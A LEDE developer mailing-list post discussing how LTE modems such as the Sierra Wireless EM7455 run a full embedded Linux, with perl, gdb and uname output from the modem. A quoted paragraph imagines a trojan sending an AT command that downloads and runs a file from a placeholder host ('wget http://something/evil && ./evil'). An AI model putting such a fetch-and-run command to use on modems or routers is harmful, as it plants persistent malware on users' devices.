Petr Štetiar <yn...@true.cz> writes: > Adding laforge and zecke to the Cc loop. > > Matti Laakso <malaa...@elisanet.fi> [2017-01-08 14:39:34]: > > Hi, > >> I'm almost done with checking the connection state using a proto_run_command >> with a simple script running uqmi --get-data-status periodically. If the >> check fails, the script dies and netifd should restart the connection. Then >> we hopefully don't need autoconnect anymore. > > I'm not using the autoconnect feature anymore, I'm using simple custom > script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the > source of truth about the connection status, I think it's more reliable to use > ping, wget/curl or some other more appropriate and battle tested solution. > > Simply said, uqmi can lie to you about the connection status. It's just some > qmuxd[2] after all using dozen threads answering you :-) What can probably go > wrong, right? > >> > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which >> > makes >> > a lot of things crystal clear :-) >> >> That's an interesting talk, thanks for the note! > > Indeed, it's very interesting and very scary. This modems are quite powerful > devices, usually equiped with very good, but limited uplink connection, still > making it ideal candidate for DDoS botnet for example, like any other router, > camera or IoT device. It's just a matter of time we see something like this in > the wild. The probability is very high, 1.5M lines of just kernel code done > probably in a hurry, without proper review, this is very big attack surface.
Yes, LTE modems are scary. I think a DDoS botnet would be a waste of resources here... You have a full Linux system with plenty of ram and flash hidden inside a number of modern laptops, with high speed network access completely independent of the host. This system is regularily flashed behind the scene by the Windows host drivers. Changing the running image without the user noticing is a piece of cake. If you have to... The Linux distro is surprisingly complete, including things like perl and gdb(!), so you might really have all you need there already. No gcc, though ;) / # perl -V Warning: failed to load Config_git.pl, something strange about this perl... Summary of my perl5 (revision 5 version 14 subversion 2) configuration: undef undef Platform: osname=linux, osvers=2.6.37-rc5-yocto-standard+, archname=arm-linux-gnueabi uname='linux qemux86 2.6.37-rc5-yocto-standard+ #1 preempt mon dec 20 14:21:27 pst 2010 i686 gnulinux ' config_args='-des -Doptimize=-O2 -Dmyhostname=localhost -Dperladmin=root@localhost -Dcc=gcc -Dcf_by=Open Embedded -Dinstallprefix=/usr -Dprefix=/usr -Dvendorprefix=/usr -Dsiteprefix=/usr -Dotherlibdirs=/usr/lib/perl/5.14.2 -Duseshrplib -Dusethreads -Duseithreads -Duselargefiles -Ud_dosuid -Dd_semctl_semun -Ui_db -Ui_ndbm -Ui_gdbm -Di_shadow -Di_syslog -Dman3ext=3pm -Duseperlio -Dinstallusrbinperl -Ubincompat5005 -Uversiononly -Dpager=/usr/bin/less -isr' hint=recommended, useposix=true, d_sigaction=define useithreads=define, usemultiplicity=define useperlio=define, d_sfio=undef, uselargefiles=define, usesocks=undef use64bitint=undef, use64bitall=undef, uselongdouble=undef usemymalloc=n, bincompat5005=undef Compiler: cc='arm-oe-linux-gnueabi-gcc -march=armv7-a -fno-tree-vectorize -mthumb-interwork -mfloat-abi=softfp -mfpu=neon -mtune=cortex-a8 -mno-thumb-interwork -mno-thumb --sysroot=/home/gsmbuild/tags/buildscripts/SWI9X30C_02.23.00.00/mdm9x30r30_core/apps_proc/oe-core/build/tmp-eglibc/sysroots/mdm9635-perf', ccflags ='-DSIERRA -DSWI_APPS_PROC -DSWI_IMAGE_APPS -O2 -fexpensive-optimizations -frename-registers -fomit-frame-pointer -DDEBIAN -D_REENTRANT -D_GNU_SOURCE -fno-strict-aliasing -pipe -fstack-protector -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64', optimize='-O2', cppflags='-fno-strict-aliasing' ccversion='', gccversion='4.5.1', gccosandvers='' intsize=4, longsize=4, ptrsize=4, doublesize=8, byteorder=1234 d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=12 ivtype='long', ivsize=4, nvtype='double', nvsize=8, Off_t='off_t', lseeksize=8 alignbytes=4, prototype=define Linker and Libraries: ld='arm-oe-linux-gnueabi-gcc -march=armv7-a -fno-tree-vectorize -mthumb-interwork -mfloat-abi=softfp -mfpu=neon -mtune=cortex-a8 -mno-thumb-interwork -mno-thumb --sysroot=/home/gsmbuild/tags/buildscripts/SWI9X30C_02.23.00.00/mdm9x30r30_core/apps_proc/oe-core/build/tmp-eglibc/sysroots/mdm9635-perf', ldflags ='-Wl,-O1 -Wl,--hash-style=gnu -Wl,--as-needed' libpth=/lib /usr/lib libs=-lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lpthread -lc perllibs=-lnsl -ldl -lm -lcrypt -lutil -lpthread -lc libc=/lib/libc-2.12.1.so, so=so, useshrplib=true, libperl=libperl.so gnulibc_version='2.12.1' Dynamic Linking: dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags='-Wl,-E -Wl,-rpath,/usr/lib/perl/5.14.2//CORE' cccdlflags='-fPIC', lddlflags='-shared -O2 -fstack-protector' Characteristics of this binary (from libperl): Compile-time options: MULTIPLICITY PERL_DONT_CREATE_GVSV PERL_IMPLICIT_CONTEXT PERL_MALLOC_WRAP PERL_PRESERVE_IVUV USE_ITHREADS USE_LARGE_FILES USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API Built under linux Compiled at Oct 22 2016 10:32:41 @INC: /etc/perl /usr/lib/perl/site_perl/5.14.2/ /usr/lib/perl/site_perl/5.14.2 /usr/lib/perl/vendor_perl/5.14.2/ /usr/lib/perl/vendor_perl/5.14.2 /usr/lib/perl/5.14.2/ /usr/lib/perl/5.14.2 /usr/local/lib/site_perl /usr/lib/perl/5.14.2 . / # gdb --version GNU gdb (GDB) 7.3.1 Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "arm-oe-linux-gnueabi". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. / # uname -a Linux mdm9635-perf 3.10.0+ #1 PREEMPT Sat Oct 22 10:18:05 PDT 2016 armv7l GNU/Linux Interesting to see that the perl installation was built on a 32bit x86 system with a 2.6.37-rc5 kernel. That's a weird choice :) Note that there is nothing Quectel here. This is a standard Qualcomm platform. The output above comes from the Sierra Wireless EM7455 originally delivered as part of my Lenovo X1 Carbon, running bog standard firmare. > It's better to not think about the system in the modem as a nice place for a > hideout for a very persistent backdoor to our systems, surviving even firmware > updates. Just imagine some trojan inside the router running following on the > modem's AT command serial interface: > > AT+QLINUXCMD=wget http://something/evil && ./evil > > Guys at Osmocom already started working on completely open and more secure > firmware using OpenEmbedded, but I would like to see it supported in LEDE > also, probably with more mainline kernel if possible. Still, it's quite > strange to see such a big embedded systems running in the 4G modem. It seems > like 2017 is era of SITSes, Systems In The Systems. It's been like that for a while... > I use Quectel modems already, so I would love to work on this myself, but I've > few other projects with higher priorities going on now, so I'm rather thinking > about other way of supporting this very promising project. > > So far the best idea lying in my head currently is buying few modems + mPCIe > breakout boards[3] and deliver those to interested developers. I'm just not > sure if this kind of support is going to lead somewhere. Simply said, I'm > willing to spend some money in exchange of faster development of this project. > > 1. http://lists.infradead.org/pipermail/lede-dev/2016-October/003504.html > 2. https://osmocom.org/projects/quectel-modems/wiki/Qmuxd > 3. http://osmocom.org/projects/mpcie-breakout Trying not to kill the optimism here, but... But this is a project with about the same complexity as replacing Android on a phone. And IMHO it's rather pointless unless you do something about the "baseband" image. Which is probably not feasible due to the complete lack of any source code or documentation from Qualcomm. Just my .02 € Bjørn _______________________________________________ Lede-dev mailing list Lede-dev@lists.infradead.org http://lists.infradead.org/mailman/listinfo/lede-dev